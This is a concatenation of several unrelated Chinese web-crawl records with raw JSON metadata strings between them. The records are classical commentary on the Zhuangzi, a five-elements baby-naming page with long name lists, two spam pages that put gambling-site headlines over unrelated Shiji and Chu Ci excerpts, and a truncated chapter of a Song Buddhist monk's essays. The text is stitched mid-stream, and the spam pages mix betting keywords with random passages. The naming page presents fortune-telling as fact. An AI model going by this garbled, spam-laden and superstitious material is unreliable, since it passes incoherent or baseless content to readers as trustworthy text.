道\n夫帝王之德。以天地爲宗。以道德爲主。以無爲爲常。無爲也。則用天下而有餘。有餘者閑暇之謂也。有爲也。則爲天下用而不足。不足者汲汲然欲爲物用者也。欲爲物用。故可得而以(以作臣)也。故古之人貴夫無爲也。上無爲也。下亦無爲也。是下與上同德也。下與上同德則不臣。下有爲也。上亦有爲也。是上與下同道也。上與下同道則不主。夫工人無爲於刻木。而有爲於用斧。主上無爲於親事。而有爲於用臣。臣能親事。主能用臣。斧能刻木。而工能用斧。各當其能。則天理自然。非有爲也。若乃主代臣事。則非主矣。臣秉主用。則非臣也。故各司其任。則上下咸得。而無爲之理至矣。上必無爲而用天下。下必有爲爲天下用。此不易之道也。\n故古之王天下者。智雖落天地。不自慮也。辯雖雕萬物。而不自説也。能雖窮海内。不自爲也。夫在上者。患於不能無爲也。而代人臣之所司。使咎繇不得行其明斷。后稷不得施其播殖。則群才失其任。而主上困於役矣。冕旒垂目而付之天下。天下皆得其自爲。斯乃無爲而無不爲者也。故上下皆無爲矣。但上之無爲則用下。下之無爲則自用矣。天不産而萬物化。地不長而萬物育。所謂自爾。帝王無爲而天下功成。功自彼成。\n故曰。莫神於天。莫富於地。莫大於帝王。故曰。帝王之德配天地。同乎天地之無爲也。此乘天地。馳萬物。而用人群之道也。本在於上。末在於下。要在於主。詳在於臣。三軍五兵之運。德之末也。賞罰利害。五刑之辟。教之末也。禮法數度。刑名比詳。治之末也。鐘鼓之音。羽旄之容。樂之末也。哭泣衰絰降殺之服。哀之末也。此五末者。須精神之運。心術之動。然後從者也。夫精神心術者。五末之本也。任自然而運動。則五事之末。不振而自舉也。\n末學者。古之人有之。而非所以先也。所先者本也。君先而臣從。長先而少從。男先而女從。夫尊卑先後。天地之行也。故聖人取象焉。言此先後雖是人事。然皆在至理中來。非聖人之所作也。天尊地卑。神明之位也。春夏秋冬。四時之序也。萬物化作。盛衰之殺。變化之流也。夫天地至神也。而有尊卑先後之序。而况人道乎。明夫尊卑先後之序固有。物之所不能無也。宗廟尚親。朝廷尚尊。鄉黨尚齒。行事尚賢。大道之序也。言非但人倫之所尚也。愚智處宜。貴賤履位。官各當其才也。必分其能。無相易業。必由其名。名當其實。故由名而實不濫也。以此事上。以此畜下。以此治物。以此修身。智謀不用。必歸其天。此之謂太平。治之至也。禮法數度。刑名比詳。古之人有之。此下之所以事上。非上之所以畜下也。寄此事於群下。斯乃畜下者也。\n昔者。舜問於堯曰。天王之用心何如。堯曰。吾不傲無告。無告者所謂頑民也。不廢窮民。恒加恩也。苦死者。嘉孺子。而哀婦人。此吾所以用心已。舜曰。美則美矣。而未大也。堯曰。然則何如。舜曰。天德而出寧。與天合德。則雖出而静也。日月照而四時行。若晝夜之有經。雲行雨施矣。此皆不爲。而自然者也。堯曰。子天之合也。我人之合也。夫天地者。古之所大也。而黄帝、堯、舜之所共美也。故古之王天下者奚爲哉。天地而已矣。\n知北游\n聖人行不言之教。任其自行。斯不言之教也。道不可致也。道在自然。非可言致也。失道而後德。失德而後仁。失仁而後義。失義而後禮。禮者道之華亂之首也。禮有常則。故矯效之所由生也。故曰。爲道者日損。損華僞也。損之又損之。以至於無爲。無爲而無不爲也。華去而朴全。則雖爲而非爲也。天地有大美而不言。四時有明法而不議。萬物有成理而不説。此孔子之所云予欲無言。至人無爲。任其自爲而已。大聖不作。唯因任也。觀於天地之謂也。觀其形容。象其物宜。與天地無异者。\n徐無鬼\n黄帝將見大隗乎具茨之山。方明爲御。昌寓驂乘。張苦謵扅(扅作朋)。前馬。昆閽、滑稽後車。至襄城之野。七聖皆迷。無所問塗。適遇牧馬童子問塗焉。曰。若知具茨之山乎。曰。然。曰。知大隗之所存乎。曰。然。黄帝曰。异哉。小童。非徒知具茨之山。又知大隗之所存。請問爲天下。小童曰。夫爲天下者。亦何以异乎牧馬者哉。亦去其害馬者而已矣。馬既過分爲害。黄帝再拜稽首。稱天師而退。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022061.html","date":"2017-04-24T22:50:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917119995.14\/warc\/CC-MAIN-20170423031159-00639-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.6266613007,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6266613006591797, \"cmn_Hani_score\": 0.15289349853992462, \"nan_Hani_score\": 0.07594085484743118, \"jpn_Jpan_score\": 0.025220345705747604, \"wuu_Hani_score\": 0.024544786661863327, \"zxx_Latn_score\": 0.015203672461211681}","num_words":21,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":0.627,"perplexity_score":500.0,"cluster_detection":1} +{"text":"五行缺木陆姓起名\n而宝宝五行缺木,先根据你的宝宝的生辰八字算出其命相,可以参照《徐氏五行命相学》来起。可以辟邪化煞、保佑平安。为了能让自己的宝宝更加健康、平安、快乐地成长,父母们不妨给宝宝佩戴一枚\"平安扣\",这样起到的名字将会对宝宝的平安成长起到帮扶的作用。接下来有起名网提供了一些带木属性的陆姓名字,陆秋芳 陆妍芳 陆留芳 陆芷若 陆芷兰 陆芸芸 陆苒苒 陆苒若 陆若华 陆若淑 陆若芳 陆若英 陆英慧 陆英秀 陆茉莉 陆茗雪 陆茜红 陆茵茵 陆茹薇 陆荷珠 陆蒲月 陆蓓蕾 陆蔓菁 陆蕙兰 陆秀媛 陆秀华 陆秀敏 陆秀英 陆秀颖 陆秀洁 陆林箐 陆朴心 陆杉松 陆杉月 陆松月 陆松雪 陆松琳 陆柏岚 陆柳思 陆桐华 陆森秀 陆森丽 陆楚洁 陆楚云 陆楚楚 陆榆英 陆榕海 陆艾可 陆艾云 陆艾玲 陆芳菲 陆芳华 陆芳馨 陆芳辰 陆芳芷 陆芳馥 陆芳茵 陆芳信 陆秋月 陆秋芸 男孩名字 女孩名字宇文立远 宇文天谊 宇文仁哲 宇文济滔 宇文瑞脉 宇文驰 宇文响 宇文宇成 宇文飘雅 宇文同哺 宇文月圆 宇文凯旋 宇文长今 宇文茜麟 宇文语琪 宇文光辉 宇文秀春 宇文竣浩 宇文素 宇文天舞 宇文先浩 宇文讯华 宇文文彬 宇文秀瑜 宇文锋 宇文俣 宇文斐恋 宇文业洪 宇文哲仁 宇文红宁 宇文敏畅 宇文一嘉 宇文慧聪 宇文毕诚 宇文钊恒 宇文鑫宇 宇文亚峰 宇文雪曼 宇文梦泽 宇文乐嘉 宇文爱兰 宇文增禄 宇文芷萱 宇文艳珍 宇文熙真 宇文翌霏 宇文金辉 宇文亦德 宇文威 宇文铠源 宇文清岚 宇文余茗 宇文昊飞 宇文宇豪 宇文雅一 宇文希菊 宇文岑淼 宇文锦君 宇文放展 宇文龙宝 宇文建恺 宇文安敦 宇文仁人 宇文耀阳 宇文黎民 宇文伯华 宇文睿隆 宇文鬟海 宇文伟藜 宇文财勋 宇文科宇 宇文童 宇文小凡 宇文惠珍 宇文桧 宇文凌昕 宇文欢凡 宇文翊霏 宇文世宏 宇文宇森 宇文士双 宇文冰心 宇文美人 宇文军戟 宇文抒妤 宇文宣毅 宇文雨凝 宇文永涛 宇文清园 宇文端銮 宇文誉 宇文夕静 宇文博 宇文允谚 宇文昊天 宇文君哲 宇文昌喜 宇文沐 宇文珂 宇文锐 宇文谚 宇文建 宇文丹丹 宇文雨辰 宇文渲易 宇文想 宇文乐淇 宇文旋 宇文佳荣 宇文蛟明 宇文雅雯 宇文普泽 宇文芳晓 宇文凤杰 宇文凌序 宇文凡迪 宇文朝辉 宇文世雨 宇文金杨 宇文清雨 宇文雅昭 宇文桶生 宇文云利 宇文新波 宇文一画 宇文秋谕 宇文雨培 宇文俊淘 宇文瑞 宇文语辛 宇文华香 宇文晴空 宇文帛涵 宇文建伟 宇文滢淇 宇文郁浩 宇文玺铭 宇文忠学 宇文凡沁 宇文先宏 宇文暄 宇文思华 宇文浚狐 宇文岳城 宇文闰海 宇文雅珍 宇文雁冰 宇文烦 宇文裕生 宇文蓓 宇文铭晋 宇文雅馨 宇文文奇 宇文禅心 宇文金权 宇文锦泽 宇文查理 宇文夜 宇文宇圣 宇文增霖 宇文诚珞 宇文启玄 宇文靖民 宇文婉菁 宇文志诚 宇文榆强 宇文泽璋 宇文美微 宇文钰骒 宇文蒙权 宇文红欣 宇文晓蕾 宇文晨 宇文勇豪 宇文永必 宇文伯平 宇文煜瀛 宇文泊云 宇文琪 宇文霖禾 宇文伶俐 宇文爽 宇文行 宇文爽月 宇文沁韵 宇文泽民 宇文秀廷 宇文静宜 宇文锦兰 宇文增硕 宇文仁荣 宇文学沁 宇文洪明 宇文彬 宇文家浩 宇文少龙 宇文铃 宇文焓情 宇文桂好 宇文聃鸿 宇文雨昊 宇文小传 宇文虹璐 宇文思宇 宇文恒淋 宇文永桂 宇文如茗 宇文荣 宇文周逸 宇文书康 宇文中天 宇文忠仁 宇文墨 宇文晨克 宇文开存 宇文甫 宇文哲旭 宇文鼎海 宇文语 宇文小良 宇文克庸 宇文语秀 宇文巨林 宇文建国 宇文收 宇文祥春 宇文昭南 宇文竹伦 宇文秋爽 宇文奕邹 宇文浠闻 宇文星如 宇文心铭 宇文晟辉 宇文光明 宇文漪漪 宇文峻羽 宇文颜仪 宇文庆婉 宇文苞茨 宇文之洋 宇文跃托 宇文国荣 宇文杰沐 宇文兰姗 宇文伟静 宇文心桐 宇文乔乐 宇文俊淇 宇文叙乐 宇文躏 宇文沣 宇文秉豫 宇文御霖 宇文立山 宇文庆云 宇文培雷 宇文岳丞 宇文亦凯 宇文诸葛 宇文南楠 宇文凯洛 宇文鳕营 宇文书平 宇文兰 宇文人桥 宇文彦扬 宇文鑫铭 宇文思平 宇文钧葳 宇文伟华 宇文千寻 宇文亦珊 宇文涛航 宇文一鸣 宇文书安 宇文小琦 宇文采萱 宇文涵 宇文新田 宇文泽 宇文雯馨 宇文性伟 宇文天赐 宇文明瀚 宇文真澄 宇文郝 宇文一粟 宇文简 宇文永荣 宇文月忠 宇文秋叶 宇文似嘉 宇文敬涵 宇文金立 宇文宗翰 宇文艺霏 宇文宁 宇文徐洪 宇文文睿 宇文玟 宇文雪莲 宇文本明 宇文剑雄 宇文镜善 宇文才斌 宇文小枫 宇文辉 宇文易澄 宇文材 宇文代松 宇文澜心 宇文千忆 宇文昂 宇文昱欣 宇文常合 宇文泰山 宇文裕丰 宇文成君 宇文桉通 宇文友和 宇文粮 宇文华瑞 宇文宏伟 宇文银忠 宇文心颐 宇文戾岩 宇文真懿 宇文文阁 宇文翰爱 宇文天鹰 宇文天雄 宇文鑫佳 宇文冲 宇文孝添 宇文婿 宇文伊俐 宇文沅 宇文睿嘉 宇文翔前 宇文峥宗 宇文棋清 宇文健杉 宇文赵恒 宇文佳达 宇文雨涵 宇文世宇 宇文金尧 宇文航伊 宇文一川 宇文晟勋 宇文智勇 宇文柏江 宇文定先 宇文惠岚 宇文春春 宇文献松 宇文孝政 宇文静涛 宇文阿多 宇文鸣 宇文建峰 宇文建明 宇文经莎 宇文康 宇文培搴 宇文果 宇文湘之 宇文湘汉 宇文延亮 宇文从来 宇文旨成 宇文若水 宇文佩菁 宇文云兴 宇文馨生 宇文思懿 宇文天诚 宇文靖晨 宇文铃铃 宇文茂东 宇文虎 宇文子心 宇文华涵 宇文思博 宇文艺榕 宇文可心 宇文苑 宇文若彤 宇文晓东 宇文沁冰 宇文紫彤 宇文振民 宇文润之 宇文照春 宇文昱静 宇文孟辰 宇文柳媚 宇文建业 宇文挚明 宇文天立 宇文泞绒 宇文为 宇文恩昭 宇文俊焐 宇文子清 宇文枚璇 宇文里岗 宇文荣鹏 宇文珏晶 宇文笠隆 宇文意罗 宇文劭宁 宇文子博 宇文宇含 宇文金蕊 宇文君玮 宇文亨旺 宇文兴全 宇文鸿 宇文宝华 宇文方明 宇文蕊蕾 宇文微寒 宇文庭间 宇文乐山 宇文小虹 宇文迎斌 宇文汉新 宇文惠彦 宇文晓棠 宇文小渝 宇文钰疃 宇文征 宇文栋梁 宇文洪亮 宇文文博 宇文卉纤 宇文耀斌 宇文裕枫 宇文素珍 宇文凤仙 宇文海贝 宇文韫烁 宇文好 宇文智睿 宇文泓茗 宇文丽惠 宇文强奖 宇文的可 宇文森伟 宇文殿钧 宇文鹏慧 宇文亚亮 宇文鬟欣 宇文倍丙 宇文英达 宇文士淳 宇文心恬 宇文钰超 宇文雅姿 宇文秋页 宇文志清 宇文廷善 宇文昭欣 宇文勃学 宇文德棂 宇文裘益 宇文可 宇文君竹 宇文子林 宇文官水 宇文竞 宇文顺达 宇文如兰 宇文岳承 宇文相轲 宇文桦键 宇文天顺 宇文宇罂 宇文班珀 宇文彦弘 宇文堆炎 宇文蕾 宇文宝欣 宇文争营 宇文白痴 宇文辰轩 宇文轲 宇文华川 宇文亮辰 宇文杉杉 宇文昊 宇文鹰 宇文菡艺 宇文罗 宇文瑞雯 宇文红润 宇文忻姿 宇文兴盈 宇文阅斐 宇文宝富 宇文鑫睿 宇文达宁 宇文国云 宇文星宇 宇文委 宇文克星 宇文卓尔 宇文逸安 宇文船 宇文立康 宇文在天 宇文雅萱 宇文青 宇文信语 宇文莲福 宇文博严 宇文佳音 宇文培 宇文囿安 宇文鹤 宇文谊真 宇文昭荣 宇文豪 宇文燃 宇文育臣 宇文育湘 宇文太极 宇文腾紫 宇文妤晴 宇文红心 宇文跻荣 宇文佳荨 宇文桌阳 宇文旭泽 宇文添泽 宇文萃香 宇文乐 宇文小卉 宇文秉容 宇文健耀 宇文益锋 宇文语晗 宇文慧品 宇文嘉奕 宇文家晖 宇文则润 宇文梦珏 宇文光幕 宇文玉纲 宇文福建 宇文英垲 宇文雪涵 宇文倍欢 宇文宏忠 宇文凡慕 宇文天勤 宇文振初 宇文亦漾 宇文中 宇文开岩 宇文安陆姓五行缺木如何起名才好呢?对于五行不齐全的宝宝!\n五行喜木、火,若宝宝正是徐墨斋居士说的\"阴命火相人\",从而改善宝宝今后的命势。陆姓五行缺木起名 陆艺学 陆艺文 陆苇然 陆苍宇 陆苍华 陆苍海 陆英资 陆英贤 陆英才 陆英哲 陆茂材 陆茂美 陆茂才 陆荣辉 陆荣盛 陆荣业 陆荣泽 陆荣畅 陆荣志 陆荣昌 陆荣熙 陆荣华 陆秋荣 陆秋玉 陆秋成 陆秋华 陆秋兴 陆穆然 陆穆远 陆穆清 陆朴淳 陆杏林 陆材德 陆材勇 陆材俊 陆材贤 陆松雨 陆松涛 陆松风 陆松霖 陆枫林 陆栋梁 陆栋宇 陆树君 陆桐君 陆桓文 陆桥山 陆梦泽 陆梵云 陆梵志 陆棠华 陆森茂 陆森立 陆森荣 陆楚怀 陆楚风 陆楚天 陆槐安 陆樊川 陆艾俊 陆姓父母如果想给自己的宝宝起个与其命理更相符的名字,各位陆姓宝宝的父母不妨来参考一下: 每个宝宝都是家庭未来的希望,在家里条件允许的情况下,那么此时可以用木属性的字来给宝宝起名,很多父母往往是通过在宝宝的名字中加入缺的五行属性的字来进行弥补,\n关键词: 周易起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.van46.com\/zhouyiqiming\/726.html","date":"2019-12-10T02:45:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540525781.64\/warc\/CC-MAIN-20191210013645-20191210041645-00189.warc.gz","language":"lzh","language_score":0.632160902,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6321609020233154, \"cmn_Hani_score\": 0.143118754029274, \"jpn_Jpan_score\": 0.075738824903965, \"nan_Hani_score\": 0.039659466594457626, \"yue_Hani_score\": 0.028101827949285507, \"zxx_Latn_score\": 0.016739454120397568, \"und_Hira_score\": 0.01651426963508129}","num_words":690,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.638,"perplexity_score":500.0,"cluster_detection":1} +{"text":"188体育注册沪深两市成交额连续8日破万亿元深市成交额近6200亿\n九年,赵相贯高等事发觉,夷三族。废赵王敖为宣平侯。是岁,徙贵族楚昭、屈、景、怀、齐田氏关中。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之\n济南王辟光,齐悼惠王子,以勒侯孝文十六年为济南王。十一年,与吴楚反。汉击破,杀辟光,以济南为郡,地入于汉。\n悼武王享国四年,葬永陵。\n始皇推终始五德之传,以为周得火德,秦代周德,从所不胜。方今水德之始,改年始,朝贺皆自十月朔。衣服旄旌节旗皆上黑。数以六为纪,符、法冠皆六寸,而舆六尺,六尺为步,乘六马。更名河曰德水,以为水德之始。刚毅戾深,事皆决於法,刻削毋仁恩和义,然後合五德之数。於是急法,久者不赦。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/wap.czmeijiamf.com\/hot\/abc\/KISLG22779.html","date":"2020-02-28T19:42:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875147628.27\/warc\/CC-MAIN-20200228170007-20200228200007-00511.warc.gz","language":"lzh","language_score":0.4102006257,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4102006256580353, \"cmn_Hani_score\": 0.31627780199050903, \"nan_Hani_score\": 0.11025894433259964, \"wuu_Hani_score\": 0.02863886207342148, \"yue_Hani_score\": 0.02479632943868637, \"jpn_Jpan_score\": 0.017339393496513367, \"zxx_Latn_score\": 0.014225930906832218}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.478,"perplexity_score":500.0,"cluster_detection":1} +{"text":"w88浙江着急了\n宣王六年,周天子贺秦献公。秦始复彊,而三晋益大,魏惠王、齐威王尤彊。三十年,秦封卫鞅於商,南侵楚。是年,宣王卒,子威王熊商立。\n骞以校尉从大将军击匈奴,知水草处,军得以不乏,乃封骞为博望侯。是岁元朔六年也。其明年,骞为卫尉,与李将军俱出右北平击匈奴。匈奴围李将军,军失亡多;而骞後期当斩,赎为庶人。是岁汉遣骠骑破匈奴西数万人,至祁连山。其明年,浑邪王率其民降汉,而金城、河西西并南山至盐泽空无匈奴。匈奴时有候者到,而希矣。其後二年,汉击走单于於幕北。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n秦王足己不问,遂过而不变。二世受之,因而不改,暴虐以重祸。子婴孤立无亲,危弱无辅。三主惑而终身不悟,亡,不亦宜乎?当此时也,世非无深虑知化之士也,然所以不敢尽忠拂过者,秦俗多忌讳之禁,忠言未卒於口而身为戮没矣。故使天下之士,倾耳而听,重足而立,拑口而不言。是以三主失道,忠臣不敢谏,智士不敢谋,天下已乱,奸不上闻,岂不哀哉!先王知雍蔽之伤国也,故置公卿大夫士,以饰法设刑,而天下治。其彊也,禁暴诛乱而天下服。其弱也,五伯征而诸侯从。其削也,内守外附而社稷存。故秦之盛也,繁法严刑而天下振;及其衰也,百姓怨望而海内畔矣。故周五序得其道,而千馀岁不绝。秦本末并失,故不长久。由此观之,安危之统相去远矣。野谚曰\"前事之不忘,後事之师也\"。是以君子为国,观之上古,验之当世,参以人事,察盛衰之理,审权势之宜,去就有序,变化有时,故旷日长久而社稷安矣。\n哀王元年,孝惠帝崩,吕太后称制,天下事皆决於高后。二年,高后立其兄子郦侯吕台为吕王,割齐之济南郡为吕王奉邑。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/hrtpd.zjgyhkt.com\/ORODZ12667.html","date":"2020-02-21T12:06:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145529.37\/warc\/CC-MAIN-20200221111140-20200221141140-00359.warc.gz","language":"lzh","language_score":0.4560302198,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4560302197933197, \"cmn_Hani_score\": 0.3868895173072815, \"nan_Hani_score\": 0.06889139115810394, \"wuu_Hani_score\": 0.029614873230457306, \"yue_Hani_score\": 0.012257643043994904}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.445,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第 6 页 共 19 页\n大正藏第 52 册 No. 2115 镡津文集\n镡津文集卷第六\n藤州镡津东山沙门契嵩撰\n论原\n问兵\n客以论兵问。而叟愀然曰。何是问之相属也。叟野人也。安知兵乎。客曰。谓子其学兼儒。儒之道具于文武。兵也者武之效也。不知兵孰谓之道。曰道也者何真兵亦仁义而已矣。客不达且引去。叟介然谓席人曰。兵者刑也。发于仁而主于义也。发于仁。以仁而悯乱也。主于义。以义而止暴也。以义而止暴。故相正而不相乱。以仁而悯乱。故图生而不图杀。是故五帝之兵谓之正刑。三王之兵谓之义征。义征举而天下莫不怀也。正刑行而天下莫不顺也。炎帝之后不逞。而轩辕氏陈于涿鹿。兵未接而其人已服。共工氏封豕其民而颛帝伐之。亦未战而遂服。汤东面而征西夷怨。南面而征北狄怨。曰奚为后我民望之若大旱之望云霓也。纣为无道而武王征之。至于孟津不诰而诸侯会。纣有亿兆夷人。不用于商而用于周。周衰而兵道一变。所谓仁义者遂妄矣。乃发于暴而至于诈。强国以兵横。大国以兵骄。忿国以兵乱。贪国以兵侵。齐始胜于楚。而齐后负于晋。晋始胜齐。而晋复负于秦。迭兴迭亡。类乎博塞之为玩。夫兵逆事也。无已则君子用之。是故圣人尚德而不尚兵。所以明兵者不可专造天下也。谷梁子曰。被甲婴胄非所以兴国也。则以诛暴乱也。文中子曰。亡国战兵。霸国战智。王国战仁义。帝国战德。皇国战无为。圣王无以尚可以仁义为。故曰仁义而已矣。孤虚诈力之兵而君子不与。吾其与乎。席人咨嗟曰。未之闻也。罗拜而罢。\n评让\n世所谓让者宜有轻重。而学者混一而论之。于礼无别则后世何以取法乎。若夫天子以其天下让诸侯。以其国让卿大夫。以爵位让士庶。以名利让。是皆有所以而让之者也。其所以让之得其正。则其礼可取也。所以让之不得其正则其礼何所取乎。夫让也有以时而让者。有以义而让者。有以名而让者。有以势而让者。有以苟而让者。以时让者仁。以义让者劝。以名让者矫。以势让者穷。以苟让者乱。鲁之隐公其苟让者也。汉之孝平其势让者也。吴季札曹子臧其名让者也。伯夷其义让者也。尧舜其时让者也。尧之时大同其时可让。故逊于贤而天下戴其仁也。故曰以时让者。仁禹之世浸异其时。不可让于人。故其子承之而天下亦戴其仁也。太伯伯夷以贤相推而其义可让也。让之足以劝百世。故曰以义让者劝。季札子臧当列国相争而父子交残。乃以让名奋所以矫激其时也。故曰以名让者矫。汉之孝平迫于强臣之势而其身穷因殆不能振。遂以其天下让。故曰以势让者穷。鲁之隐公不以正让非其人而苟去之卒至乎淫乱。故曰以苟让者乱。孟子曰。天与贤则与贤。天与子则与子。荀子曰。尧舜禅让(或作擅字。依荀子文也。此乃专擅意也。在理当作擅。与禅契)是不然也。天子势位至尊无敌于天下者。夫有谁与让矣。杨子曰。允哲尧擅舜之重。则不轻于由矣。韩子曰。尧舜之传贤也。欲天下得所也。然四子皆不达乎圣贤之时也。其言孰为详乎。如尧非其时则岂肯以天下让于他人乎。使禹得尧之时而天下岂及其子乎。所谓尧舜禹其奋于万世之上者。正以其时而为之者也。尧舜禹其圣之时者也。呜呼后世者其人自私甚乎。禹之时也而传授者不能本。禹曰吾慕尧舜为之禅让。是亦妄矣。其知时乎。\n问霸\n问者曰。君子称王或不称霸。谓霸执权。谓王修信也。而霸孰谓无信邪。固疑其道也。幸吾子辩之。使桓文之事皆悉也。曰王尚德霸尚功夫王有权。王者以权而行德也。霸有权。霸者以权而取功也。取功故其权未必不私也。行德故其权未必不公也。故公者为权而私者为诈也。王有信诚信也。霸有信假信也。假信故愈久而愈渝。诚信故愈久而愈信。齐桓公方会诸侯。自北杏抵幽十一主盟而诸侯皆顺。其信存也。及城缘陵而诸侯皆散。其信渝也。晋文公其战克楚践土之盟。以功自高遂召天王。其章诈也。是故君子称之。称其当时之功也。不称者(或无者字)恶其诈且不诚也。诗称投我以木瓜报之以琼琚。匪报也永以为好也。善罚之功也。子曰。管仲之器小哉。卑霸之道也。中古之霸。有异礼而无异道。后古之霸。有异道而无异礼。守职命而不擅征。不亦有异礼乎。信征伐而尚诈力。不亦有异道乎。故曰霸非古也。乱王政自桓文始也。今俗曰。霸道适变治者不可不用也。仲尼曰。管仲相桓公霸诸侯一匡天下。民到于今受其赐。微管仲吾其被发左衽矣。我其舍诸。噫致合天下之猖狂诡谲。传会于孙子吴起之说淫溺而不反者也。此诚愚者之言。乌足与知圣人之意邪。所谓适变者。盖君子因事而正之以义者也。岂曰以智诈而变正道者也。春秋之讥变古正以诸侯用私而变公者也。夫至道之世不显权。至德之世不怀功。怀功恐其人因功而竞利也。显权恐其人因权而生诈也。是故尧舜之化淳而文王之化让。汉氏曰。吾家杂以王霸而治天下。暂厚而终薄。少让而多诤。\n巽说\n易曰。巽以行权何谓也。曰君子乘大顺而举其事者也。时不顺虽尧舜未始为也。重巽顺之至也。阳得位而中正当位也。刚正以用巽用之当也。故君子为之也。乘其顺履其中效其用。其道莫不行也。其物莫不与也。然则时之顺必大权。然后帅其正也。权之作必大人。然后理其变也。权也者适变之谓也。夫大人其变也。公小人其变也。私权也者治乱安危之所系也。故权也不可以假人也。孔子曰。可与学未可与适道。可与适道未可与立。可与立未可与权。盖慎之至也。至顺者大有为之时也。位中正者君之位也。刚正则用巽天下之大权也。唯天子居其位行其权。以顺其时也。用巽则以制其物也。用巽不可以示其民而使知之也。制莫之制则乱也。慎密则民不知其所以而奸不生也。故文言曰。同声相应同气相求。水流湿火就燥。云从龙风从虎。圣人作而万物睹。本乎天者亲上本乎地者亲下。则各从其类也。九二曰。巽在床下。盖言卑而失其正也。不可以用巽也。用巽则物不与而且乱也。上九曰。巽在床下。丧其资斧其贞凶。盖言过其时则用断不可。是失其权也。九五曰。先庚三日后庚三日。盖言慎其出号令也。故号令不可轻发而屡改也。是故用巽不宜在九二也。上九用巽固不可也(用或作则或无固字)九五其用巽者也。宜专乎号令者也。\n人文\n辩者曰。是世文隆天下其将成乎。其隆者文言也。而文言乌足以验乎天下成邪。何文其可验乎。曰必也人文也。易曰。观乎人文而天下化成。斯之谓也。曰何谓人文乎。曰文武王之道也。文武相济以贲人道。故曰人文也。文者德也。武者刑也。德以致大业。刑以扶盛德。德其至也。刑其次也。会文武者所以以文总之。故曰人文也。夫圣人以盛德教天下。而天下保其德也。示大刑所以约之也。既正则停刑而达德也。德也者待刑而辅之也。刑也者待德而忘之也(忘或司字)是故文武皆得则其政和而其民安。刑德皆敝则其政失而其民散。此君子所以见天下之成败也。吾观周文。文武至之也。宣其甚刑而平其德衰也。吾观汉文。高文仅至也。惠其减德武其多兵也。吾观唐文。文皇大正而小缪也。曰三代之道有质焉有文焉。曰文而亡质。王道其可尽乎。故曰质文者圣人之所以适变而救敝也。质文本正而末敝也。质如不敝何以文为。文如不正何以质为。故吾所谓文者。盖言文治之正也。孔子曰。虞夏之质。殷周之文至矣。曰言文将无用乎。曰孰不用也。人文至焉。言文次焉。以言文而验其人。人其廋哉。以人文而验其世。世其廋哉。故人文者天下之道之所存也。言文者圣贤之志之所寓也。先天下而后圣贤者。圣贤发己矣。天下至公也。故公者至而己者次也。孰曰言文其无用乎。\n性德\n性生人者之自得者也。命生人者之得于天者也。德能正其生人者也。艺能资其生人者也。然性命有厚薄。而德艺有大小也。性命者生所虽得而未尝全得其厚薄者也。德艺者人所宜能而未必全能其大小者也。古之人厚其性而薄其命有也。而古人不惑。古之人达于艺而穷于德有也。而古人不乱。故曰圣贤无全德。君子无全能。有其内而无其外。圣贤之所以无全德也。能于德而不能于艺。君子之所以无全能也。德上也艺下也。君子修其上而正其下也。故其不必工于百工而尊于百工也。性内也命外也。圣贤正其性而任其命。故其穷之不忧。而通之不疑也伊尹古之贤人也。方耕于莘佃。佃之耕夫以其能尚之。而伊尹不敢与之校。吕望古之贤人也。方渔于棘津。津之渔人以其能尚之。而吕望不敢与之